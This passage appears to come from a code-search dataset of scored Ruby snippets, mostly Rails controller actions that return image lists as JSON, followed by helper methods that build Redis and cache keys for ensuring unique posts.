"score": "0.72201",
"text": "def front_page_images\n comics = Comic.order(:id => :desc).limit(80)\n image_paths = comics.map { |comic| \"#{comic['image_url']}/portrait_xlarge.jpg\" }\n respond_to do |format|\n format.json { render :json => image_paths }\n end\n end",
"title": ""
},
{
"docid": "49bd18c63c9471c464923d4f9968ec2b",
"score": "0.72169703",
"text": "def index\n @gallery = Gallery.find(params[:gallery_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "0ee712edadaf2988d3d74374fd99eef2",
"score": "0.72152126",
"text": "def index\n @img_urls = ImgUrl.all\n\n render json: @img_urls\n end",
"title": ""
},
{
"docid": "94c3c0dd67842162def8172f816ae563",
"score": "0.7213029",
"text": "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end",
"title": ""
},
{
"docid": "fbd41949d1b3ca7a34b3f8122f53c7b2",
"score": "0.7208199",
"text": "def index\n @pic_images = []\n @detail_pictures = DetailPicture.all\n @detail_pictures.map { |picture| @pic_images << picture.image.url }\n respond_with @detail_pictures do |format|\n format.json {render :json => @pic_images, :layout => false }\n end\n end",
"title": ""
},
{
"docid": "ab8528d008dfebe1baa41405fa49a4dc",
"score": "0.7196735",
"text": "def index\n # Handle authorization based on a pre-built object\n authorize!(:index, @classroom.images.build)\n\n respond_to do |format|\n # format.html\n format.json {\n render :json => @classroom.images.reload.collect { |img| {\n :folder => img.assetable.title,\n :image => img.url(:large),\n :thumb => img.url(:small),\n :title => img.description\n } }\n }\n end\n end",
"title": ""
},
{
"docid": "64e13252dac67777e86fbaa7d64d39e6",
"score": "0.716712",
"text": "def index\n @images = Image.all\n @image = Image.new\n respond_to do |format|\n format.html { render :index, status: :ok }\n format.json { render json: @images, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "e23a2bf3e5403a42e4e3725a579ad3b5",
"score": "0.715148",
"text": "def images\n @images = @event.uploads.where(:upload_content_type => [\"image/png\", \"image/gif\", \"image/jpe\", \"image/jpeg\"])\n\n respond_to do |format|\n format.json { render json: @images.map{|image| image.to_redactor_img } }\n end\n\n end",
"title": ""
},
{
"docid": "f2af07e632385b34fe7c18ff163eff00",
"score": "0.7147023",
"text": "def show\n render json: @img_url\n end",
"title": ""
},
{
"docid": "fa3ea9cb139683d4205e7da6e8d04750",
"score": "0.713819",
"text": "def images\n Images.new @api\n end",
"title": ""
},
{
"docid": "e396083d97bff5e2c56b81b5f3ef54a1",
"score": "0.7118263",
"text": "def show\n render json: @image\n end",
"title": ""
},
{
"docid": "8674b63149e3cc680eb8c91e71bd7371",
"score": "0.711192",
"text": "def images(params = {})\n response, status = BeyondApi::Request.get(@session, \"/shop/images\", params)\n\n handle_response(response, status)\n end",
"title": ""
},
{
"docid": "8674b63149e3cc680eb8c91e71bd7371",
"score": "0.711192",
"text": "def images(params = {})\n response, status = BeyondApi::Request.get(@session, \"/shop/images\", params)\n\n handle_response(response, status)\n end",
"title": ""
},
{
"docid": "c336066a076658c5e397bc74fb41ccbc",
"score": "0.7094701",
"text": "def images\n @images = ::Queries::Image::Filter.new(\n collection_object_id: [ params.require(:id)],\n collection_object_scope: [:all]\n )\n\n respond_to do |format|\n format.html { @images = @images.all }\n format.json do # rendered as Depictions for now\n @depictions = @iamges.derived_depictions\n render '/depictions/index' and return\n end\n end\n end",
"title": ""
},
{
"docid": "fbebfd81b71feccbeb9a060e007ad9ba",
"score": "0.7081451",
"text": "def show\n @image = set_image\n render json: @image\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "e939b39ef2ce834e2dcbb2dee5dfa3f1",
"score": "0.70486575",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "1762a2aea91608f6336fabf89c603678",
"score": "0.7048214",
"text": "def get_images\n url = URI.parse(@endpoint+\"/storage\")\n req = Net::HTTP::Get.new(url.path)\n\n req.basic_auth @occiauth[0], @occiauth[1]\n\n res = CloudClient::http_start(url) {|http|\n http.request(req)\n }\n\n if CloudClient::is_error?(res)\n return res\n else\n return res.body\n end\n end",
"title": ""
},
{
"docid": "ebb69eef8c2ff586dc760079585a8768",
"score": "0.704309",
"text": "def get_images\n url = URI.parse(@endpoint+\"/storage\")\n req = Net::HTTP::Get.new(url.path)\n \n req.basic_auth @occiauth[0], @occiauth[1]\n \n res = CloudClient::http_start(url) {|http|\n http.request(req)\n }\n \n if CloudClient::is_error?(res)\n return res\n else\n return res.body\n end\n end",
"title": ""
},
{
"docid": "da0a8a0705bb702bdde33ec36ac6df1b",
"score": "0.7042366",
"text": "def list_images(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/images'\n\t\targs[:query]['Action'] = 'ListImages'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "f524fd14fe89a7f833a1426b81a5ca3f",
"score": "0.7041895",
"text": "def images\n @images = @user.uploads.images.paginate(:page => @page, :per_page => @per_page, :order => 'created_at desc')\n respond_to do |format|\n format.js { render :json => basic_uploads_json(@images) }\n end\n end",
"title": ""
},
{
"docid": "4a4206313ee25af435627a1ab297df9e",
"score": "0.703599",
"text": "def get\n img_id = request.headers['imageid']\n user_id = request.headers[Constants::HEADER_ID]\n if img_id != nil\n images = Image.where(author_id: @public_id.to_s, image_id: img_id.to_s)\n elsif user_id != nil\n images = Image.where(author_id: user_id, status: Image::STATUS_SHARED).order(\"timestamp DESC\")\n else\n images = Image.where(author_id: @public_id.to_s).order(\"timestamp DESC\").order(\"timestamp DESC\")\n end\n user_images = []\n images.each do |image|\n user_images << image.as_jsonn\n end\n\n msg = { :result => \"OK\", :data => user_images }\n respond_to do |format|\n format.json { render :json => msg }\n end\nend",
"title": ""
},
{
"docid": "9f7dfbbf21b3566c93ef8db0d3f8bdd8",
"score": "0.70346135",
"text": "def get_images( params )\n LastFM.get( \"artist.getImages\", params )\n end",
"title": ""
},
{
"docid": "eaf17d8753a562db16fac1fba7fb2d67",
"score": "0.70142275",
"text": "def index\n @image_files = ImageFile.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_files }\n end\n end",
"title": ""
},
{
"docid": "6eb0e6e1e00f41137895c45a479fc64f",
"score": "0.69862586",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image }\n end\n end",
"title": ""
},
{
"docid": "6eb0e6e1e00f41137895c45a479fc64f",
"score": "0.69862586",
"text": "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image }\n end\n end",
"title": ""
},
{
"docid": "384887d428fd15287325cad447d33171",
"score": "0.6983624",
"text": "def index\n @tl_images = TlImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tl_images }\n end\n end",
"title": ""
},
{
"docid": "b7e3c05e34b628b5847574f7a51c1003",
"score": "0.6975927",
"text": "def show\n @game = Game.find(params[:id])\n render json: @game.as_json(:methods => [:image_url])\n end",
"title": ""
},
{
"docid": "8784bf528fee45cbb10f00fbc7d9721a",
"score": "0.69723475",
"text": "def index\n @title = t('view.images.index_title')\n @images = @images.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "e38a7c47f0c6edb88c19e128a5491fda",
"score": "0.69708896",
"text": "def show\n\t\t@type = Type.find(params[:type_id])\n\t\t@image = @type.images.find(params[:id])\n\t\trender json: @image\n\tend",
"title": ""
},
{
"docid": "e27c9b930e26b5bc83963b041fee2df2",
"score": "0.6964378",
"text": "def images\n object[\"images\"]\n end",
"title": ""
},
{
"docid": "725639191d7c582203e29ed65d8e77dd",
"score": "0.69479257",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "5b12256cbedd3fed235a2681b37b3429",
"score": "0.69459665",
"text": "def list_images # :nologin:\n query = create_query(:Image, :all, :by => :created)\n show_selected_images(query)\n end",
"title": ""
},
{
"docid": "780a9c2186e1c140d98dab4d2ca5ab5b",
"score": "0.69245255",
"text": "def pictures\n render json: @collection.pictures\n end",
"title": ""
},
{
"docid": "91452bea926c74e4adbd19d369246c89",
"score": "0.6919172",
"text": "def images\n \t@photos =all_photos()\n \t@headers['Content-Type'] = CONTENT_TYPE\n end",
"title": ""
},
{
"docid": "857b05635646ac89ff16fb9f493cdbc1",
"score": "0.69185543",
"text": "def list_images(opts= {})\n url = \"#{@account}/images\"\n if opts.size > 0\n url = url + '?' + URI.encode_www_form(opts)\n end\n c = @client[url]\n headers = gen_headers(opts)\n attempt(opts[:attempts]) do\n do_get(c, headers)\n end\n end",
"title": ""
},
{
"docid": "134430b84adb94ad7e665d08891973ff",
"score": "0.69135004",
"text": "def show\n @artist = Artist.find_by_id(params[:id])\n render json: @artist.as_json(methods: :image_url)\n\n end",
"title": ""
},
{
"docid": "4095dadf1c307876d2e4140ad26e8c35",
"score": "0.6910947",
"text": "def index\n @images = @current_account.images.all\n respond_with @images\n end",
"title": ""
},
{
"docid": "4731a624ceece86d2698f2226227aa3c",
"score": "0.6906828",
"text": "def images\n\n hydra = Typhoeus::Hydra.new\n request = Buffet::Util::constantize(\"#{service.to_s.capitalize}Proxy\").find_album_images(hydra, self)\n hydra.queue(request)\n hydra.run\n\n request.handled_response\n end",
"title": ""
},
{
"docid": "211fb45111919c88fc4f874595137ca9",
"score": "0.6903963",
"text": "def show\n respond_to do |format|\n format.html { render :show, status: :ok }\n format.json { render json: @image, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "1c59c5ccf1d4b0cd83ec4589773cbf79",
"score": "0.6897634",
"text": "def index\n @images = Image.where(:for_slider => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "2cecf395b01223eb70fe7ff6d27bbc28",
"score": "0.6897406",
"text": "def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @image }\n end\n end",
"title": ""
},
{
"docid": "5446fe298f4e02d4a65cb77226cf7e38",
"score": "0.68972045",
"text": "def index\n @product_images = ProductImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_images }\n end\n end",
"title": ""
},
{
"docid": "75fcc4dd3630cb4fcd93472682ef03bc",
"score": "0.68902075",
"text": "def index\n \t@issue = Issue.find(params[:issue_id])\n \t@article = Article.find(params[:article_id])\n @images = @article.images.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "69ba9fdf69cfbe1b9623a8a15bb44ea8",
"score": "0.6884779",
"text": "def images\n @heading = \"Popular Images\"\n @stories = Story.find_all_by_media(\"image\")\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.xml { render :xml => @stories }\n end\n end",
"title": ""
},
{
"docid": "8ff3fe5c943fe509dcb15bf2f5b67278",
"score": "0.68803465",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @image }\n end\n end",
"title": ""
},
{
"docid": "8acad535d627dfaf98ce079e613434bb",
"score": "0.6877143",
"text": "def images(filter = {})\n elektron_images.get('images', filter).map_to('body.images', &image_map)\n end",
"title": ""
},
{
"docid": "7a9b9a77fa4d02d90238d00bd6eff6d4",
"score": "0.68770546",
"text": "def get_album_images(hash)\n response = make_request(\"GET\", \"album/#{hash}/images\")\n return response\nend",
"title": ""
},
{
"docid": "c8a82e92c0905cbe28adec7ee626cbdc",
"score": "0.6873898",
"text": "def image_list # rubocop:disable Metrics/AbcSize\n attrcheck = {\n 'REST end point' => @options[:rest_endpoint],\n 'Container' => @options[:container]\n }\n @validate.attrvalidate(@options, attrcheck)\n instanceconfig = ImageList.new(@options[:id_domain], @options[:user_name], @options[:passwd], @options[:rest_endpoint])\n instanceconfig = instanceconfig.list(@options[:container])\n # error checking response\n @util.response_handler(instanceconfig)\n return JSON.pretty_generate(JSON.parse(instanceconfig.body))\n end",
"title": ""
},
{
"docid": "807d536786c201c6c9b1e71800c47fe8",
"score": "0.68500024",
"text": "def index\n @image_data = ImageDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @image_data }\n end\n end",
"title": ""
},
{
"docid": "50e916acda854c8cbb28cd2fd8327f58",
"score": "0.6848579",
"text": "def index\n @carrierwave_images = CarrierwaveImage.all\n\n render json: @carrierwave_images\n end",
"title": ""
},
{
"docid": "6ae970456f0561628b443df6e12d6b1a",
"score": "0.683097",
"text": "def index\n @images = Image.find_images\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @images }\n end\n end",
"title": ""
},
{
"docid": "cceaf3212790b8993fc9900b40c257a3",
"score": "0.68280387",
"text": "def index\n @apparel_images = ApparelImage.all\n\n render json: @apparel_images\n end",
"title": ""
},
{
"docid": "7ee92e50d1805f4c3cb3c3a7d2bac21f",
"score": "0.6822078",
"text": "def remote_get\n # multiple refs may be provided\n refs = params[:ref]\n if !refs.blank?\n refs = [refs] if refs.is_a?(String)\n images = []\n refs.each do |ref|\n # TODO: optimize this to fetch all images in a single query\n image = Image.find_user_image_by_ref(@user.id, ref)\n if image\n img = {\n :original_url => image.original_url,\n :ref => image.image_ref,\n :width => image.width,\n :height => image.height,\n :ppi => image.ppi,\n :name => image.name,\n :page_url => image.page_url,\n :description => image.description }\n if (params[:cal] == 't') # with Calibration Data\n img.merge!({\n :unit => image.unit,\n :arrow_start => image.arrow_start,\n :arrow_end => image.arrow_end,\n :input_length => image.input_length\n })\n end\n images << img\n end\n end\n resp = (images.length > 0) ? images : error_response(\"no matches\", 404)\n render :json => resp, :callback => params[:callback]\n else\n render :json => error_response('bad request', 400), :callback => params[:callback]\n end\n end",
"title": ""
},
{
"docid": "f9d9c652608c9ecd7f9357f0a4afb2fe",
"score": "0.68092346",
"text": "def all details = false\n path = details ? \"/v1/images/detail\" : \"/v1/images\"\n\n response = @connection.get path\n response.body['images'].collect do |r|\n ImageData.new r\n end\n end",
"title": ""
},
{
"docid": "b439257a5422f4ca09dd436791252c68",
"score": "0.6803159",
"text": "def all\n render :json => Photo.all.map{|p| p.pic.url(:thumb_r)}\n end",
"title": ""
},
{
"docid": "87a52ec77713bade1eb2c0aa296fb8ea",
"score": "0.6799724",
"text": "def index\n @images = Image.all\n render :images\n end",
"title": ""
},
{
"docid": "07c85a64c4e683c43f02d3ec6e45b599",
"score": "0.679353",
"text": "def index\n @images = params[:ids].present? ? Image.where(id: params[:ids].split(',')) : Image.order(\"time_stamp DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end",
"title": ""
},
{
"docid": "15dff399560990df68a4fa6225e9ca3d",
"score": "0.6781908",
"text": "def fetchImage\n url = \"https://dog.ceo/api/breeds/image/random\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n imgURL = JSON.parse(response)\n output = imgURL[\"message\"]\nend",
"title": ""
},
{
"docid": "bb6a91760e7e0eda08221b8e500c02e7",
"score": "0.6775413",
"text": "def viewer_images_info\n render json: helpers.viewer_images_info(presenter)\n end",
"title": ""
},
{
"docid": "10ed36aee43af705a9376a675756a19f",
"score": "0.6771124",
"text": "def index\n @quote_images = @quote.quote_images.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quote_images }\n end\n end",
"title": ""
},
{
"docid": "5fced192c8cb20865dfd68b8b423de6c",
"score": "0.6766934",
"text": "def index\n render json: Pic.all\n end",
"title": ""
},
{
"docid": "0c1ccbde8030bf0d6716b948180466f6",
"score": "0.67599833",
"text": "def index\n redirect_to(album_path(@album))\n #@images = @album.images.all\n\n #respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @images }\n #end\n end",
"title": ""
},
{
"docid": "e6d445618d35083d8db5854aa1457bae",
"score": "0.67592543",
"text": "def picture()\n url = \"#{BASE_URL}api_key=#{@api_key}\"\n puts url\n uri = URI(url)\n response = HTTP.get(uri)\n result = JSON.parse(response)\n end",
"title": ""
},
{
"docid": "4a8f5cfced511d1304eddb15c1843574",
"score": "0.6745491",
"text": "def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job.to_json(include: :images) }\n end\n end",
"title": ""
}
] |
96c1e58d25e2ce707b7817a4864316e2
|
The key we use in redis to ensure unique posts
|
[
{
"docid": "fc1dda277aa14ebca7a33563c47a338a",
"score": "0.81263226",
"text": "def unique_post_key\n \"unique-post-#{user_id}:#{raw_hash}\"\n end",
"title": ""
}
] |
[
{
"docid": "14fdb2118b788f9ef124e062ecda7070",
"score": "0.73596996",
"text": "def redis_key; end",
"title": ""
},
{
"docid": "ace7754b2ef3408f75fd9b277d24d496",
"score": "0.6942636",
"text": "def redis_key(str)\n \"question:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "5053c7660a36ee6adfcbcff330ab4aab",
"score": "0.6889545",
"text": "def redis_key\n self.name.to_s\n end",
"title": ""
},
{
"docid": "e0fc1f3a62dc925897ff0badf0c72860",
"score": "0.68880266",
"text": "def redis_key(name); end",
"title": ""
},
{
"docid": "8f910d070efcf194fe13f5061d64868a",
"score": "0.67310596",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "01223500c2f5bf03901fed8411b23b6b",
"score": "0.66988415",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "4209ff7344e519d48402bf1963fbe5e7",
"score": "0.66980106",
"text": "def redis_key(key)\n \"#{self.class.name}:#{self.id}:#{key}\"\n end",
"title": ""
},
{
"docid": "4209ff7344e519d48402bf1963fbe5e7",
"score": "0.6696185",
"text": "def redis_key(key)\n \"#{self.class.name}:#{self.id}:#{key}\"\n end",
"title": ""
},
{
"docid": "4d331bd9fd8306ed76a45c31fb7a5f1a",
"score": "0.6681335",
"text": "def redis_key(key)\n \"#{self.class.name.downcase.pluralize}:#{self.id}:#{key}\"\n end",
"title": ""
},
{
"docid": "0a72c8e8536509d0b7c2d5aa48d4efdf",
"score": "0.6666928",
"text": "def redis_key(str)\n \"fan:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "484252efc78e1c96b0183e5646a7798d",
"score": "0.66446143",
"text": "def unique_id key\n @unique_ids ||= Hash.new(0)\n @unique_ids[key] += 1\n end",
"title": ""
},
{
"docid": "5391c6fd30ff6699c46a8f052f1c1801",
"score": "0.66366684",
"text": "def redis_key(str)\n \"identity:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "776a8827124e27e76f852544711b1f7b",
"score": "0.66069025",
"text": "def __redis_key\n \"#{self.class.model_name.plural}:#{self.id}\"\n end",
"title": ""
},
{
"docid": "25107a866191f4e984241f31f2b859b9",
"score": "0.6602359",
"text": "def redis_key(str)\n \"#{self.redis_env}:mailing:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "fcba6a3d448f040ee5023b66013d942d",
"score": "0.65788996",
"text": "def redis_key(str)\n \t\t\"user:#{self.id}:#{str}\"\n \tend",
"title": ""
},
{
"docid": "83548ffc72a60831f95abe13f18579bd",
"score": "0.656381",
"text": "def redis_key\n self.class.redis_key @name\n end",
"title": ""
},
{
"docid": "f63916a190556c72e8c5fd3368b7c108",
"score": "0.65279645",
"text": "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end",
"title": ""
},
{
"docid": "1e03e172e73c99f01cfc0fe4cda70de3",
"score": "0.64190817",
"text": "def temporary_key\n key = SecureRandom.hex(32)\n $redis.setex \"temporary_key:#{key}\", 1.week, id.to_s\n key\n end",
"title": ""
},
{
"docid": "1e03e172e73c99f01cfc0fe4cda70de3",
"score": "0.64190817",
"text": "def temporary_key\n key = SecureRandom.hex(32)\n $redis.setex \"temporary_key:#{key}\", 1.week, id.to_s\n key\n end",
"title": ""
},
{
"docid": "965a18612b062ccdafffd8d5ab441b13",
"score": "0.6418435",
"text": "def id\n Digest::SHA1.hexdigest key\n end",
"title": ""
},
{
"docid": "299bbf10e7bce637fdab7b6f4661c80d",
"score": "0.6401592",
"text": "def redis_key(name)\n \"#{REDIS_KEY_PREFIX}:#{name}\"\n end",
"title": ""
},
{
"docid": "e3387822ea3192fa7275f4d7dee7c2bc",
"score": "0.64007366",
"text": "def temporary_key\n key = SecureRandom.hex(32)\n $redis.setex \"temporary_key:#{key}\", 2.months, id.to_s\n key\n end",
"title": ""
},
{
"docid": "af2cb48a0bdd860aa63d0b4b520856ce",
"score": "0.6342063",
"text": "def set_key\n self.key = Digest::SHA1.hexdigest([Time.now, rand].join)\n end",
"title": ""
},
{
"docid": "8990bb7f05bbd06799660328a3b1ec93",
"score": "0.6330253",
"text": "def redis_key(str)\n \"#{type}:#{id}:#{str}\"\n end",
"title": ""
},
{
"docid": "d266f24bf0a1a156e37285251c8e9cde",
"score": "0.6307974",
"text": "def cache_key(id); end",
"title": ""
},
{
"docid": "bd90eb5bc7f16122661fdb82970adadc",
"score": "0.62805295",
"text": "def create_feed_key\n write_attribute(:feedKey, Digest::MD5.hexdigest(self.email))\n end",
"title": ""
},
{
"docid": "52167009b23610fa71eca0ebedbc3795",
"score": "0.6241599",
"text": "def assign_unique_key\n # generate zero padded random 5 digits\n self.unique_key = SecureRandom.random_number(10 ** 5).to_s.rjust(5,'0')\n self.unique_key_generated_at = Time.now.utc\n end",
"title": ""
},
{
"docid": "2842d003417f50c92563e520bee2019c",
"score": "0.62261206",
"text": "def redis_key\n \"#{@job.redis_key}:#{@type}:#{@name}\"\n end",
"title": ""
},
{
"docid": "72aa52d60eb224169039b7e6651c90c9",
"score": "0.6219813",
"text": "def assign_unique_key\n # generate zero padded random 6 digits\n self.unique_key = SecureRandom.random_number(10 ** 6).to_s.rjust(6,'0')\n self.unique_key_generated_at = Time.now.utc\n end",
"title": ""
},
{
"docid": "5304b3813b596a9eefe6377e9d41113d",
"score": "0.62062055",
"text": "def cache_key\n if self.class.cache_settings[:cache_key].first\n self.class.cache_settings[:cache_key].first.call(self)\n else\n Digest::MD5.hexdigest(self.id)\n end\n end",
"title": ""
},
{
"docid": "b29d7d8fee154b4cea3e0cccdd7a1417",
"score": "0.6192278",
"text": "def key\n Digest::SHA1.hexdigest(@body+@author)\n end",
"title": ""
},
{
"docid": "844f626030a7df85308ad6ce0df2440e",
"score": "0.61858207",
"text": "def generate_unique_slug_key\n self.slug = loop do\n random_generate_id = SecureRandom.hex\n break random_generate_id unless self.class.exists?(slug: random_generate_id)\n end\n end",
"title": ""
},
{
"docid": "0575b6cae4aa9beef641974e047c09b0",
"score": "0.61827236",
"text": "def key\n id.to_s.freeze\n end",
"title": ""
},
{
"docid": "b38f1bdce916d2c1511c9569cd1da910",
"score": "0.61737764",
"text": "def temporary_key\n Digest::MD5.hexdigest(\"#{Time.now.day_number}#{id}#{self.email}\")\n end",
"title": ""
},
{
"docid": "4db01cabbb2c6e25526e6a98799e246e",
"score": "0.6151087",
"text": "def cache_key\n end",
"title": ""
},
{
"docid": "a91a838b99844964ce42f37750f9d573",
"score": "0.6139942",
"text": "def cache_store_key(key)\n 'cache-' << Digest::MD5.hexdigest(key)\n end",
"title": ""
},
{
"docid": "b0b2a4fb41cd62cc9074e37fbfd36d1b",
"score": "0.61317486",
"text": "def uid\n # Just reusing the key seems to make sense\n key\n end",
"title": ""
},
{
"docid": "45d4745421e861553f74146409e51c1c",
"score": "0.61314094",
"text": "def key \n @key ||= create_key\n end",
"title": ""
},
{
"docid": "ff2ace216e4f1933000dcc4ac383ff73",
"score": "0.6119718",
"text": "def lint_cache_key\n html = self.rendered_content()\n content_hash = Digest::SHA256.hexdigest(html)\n \"post:#{self.id}:#{content_hash}\"\n end",
"title": ""
},
{
"docid": "115ef04f9509bed4c6c060d6802e4bec",
"score": "0.6116687",
"text": "def unique_id\n # check all_data instead of data, as we have to not reuse deleted key\n ids = Set.new(all_data.map { |e| e[:key] })\n id = 1\n loop do\n return id.to_s unless ids.include?(id.to_s)\n\n id += 1\n end\n end",
"title": ""
},
{
"docid": "b4e917c162405e3fce0b0ac8e52fe754",
"score": "0.61021537",
"text": "def post_key\n \"posts:#{post.id}:liking_users\"\n end",
"title": ""
},
{
"docid": "fe6614daac878f80975a1f50494310a4",
"score": "0.61015975",
"text": "def unique_key(count = self.class.count(:id), pow = nil)\n return if self.key #allow Url's to be created with create\n\n # determine the maximum key size based on the current number of Urls\n # we choose power that is more than double the current size of the table\n pow = (2..MAX_POW).detect{|i| count < (62**i)/2} unless pow\n\n k = rand(62**pow)\n unless Url.find_by_key(k)\n self.key = k\n else\n # calling recursively until finding a unique key is an idea taken from\n # robby russell's rubyurl\n unique_key(count, pow)\n end\n end",
"title": ""
},
{
"docid": "0a8935bc9018abf6805a6da21816593c",
"score": "0.6100288",
"text": "def unique_key(value)\n term(UniqueKeyField.instance, value)\n end",
"title": ""
},
{
"docid": "07efa211a446199ea1e458887e387d84",
"score": "0.6078978",
"text": "def next_key\n id = Remodel.redis.hincrby(@context, \"#{self.class.key_prefix}\", 1)\n \"#{self.class.key_prefix}#{id}\"\n end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
"docid": "82325aa9466331272140a4bfabcacf51",
"score": "0.6064095",
"text": "def cache_key; end",
"title": ""
},
{
